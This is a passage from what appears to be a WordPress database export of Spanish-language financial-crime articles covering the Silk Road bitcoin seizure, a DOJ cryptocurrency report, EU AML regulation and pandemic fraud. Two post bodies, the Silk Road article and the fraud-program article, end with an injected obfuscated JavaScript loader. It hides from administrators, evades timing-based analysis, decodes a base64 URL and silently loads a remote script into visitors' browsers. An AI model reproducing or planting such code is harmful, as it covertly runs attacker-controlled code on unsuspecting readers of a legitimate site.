gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de 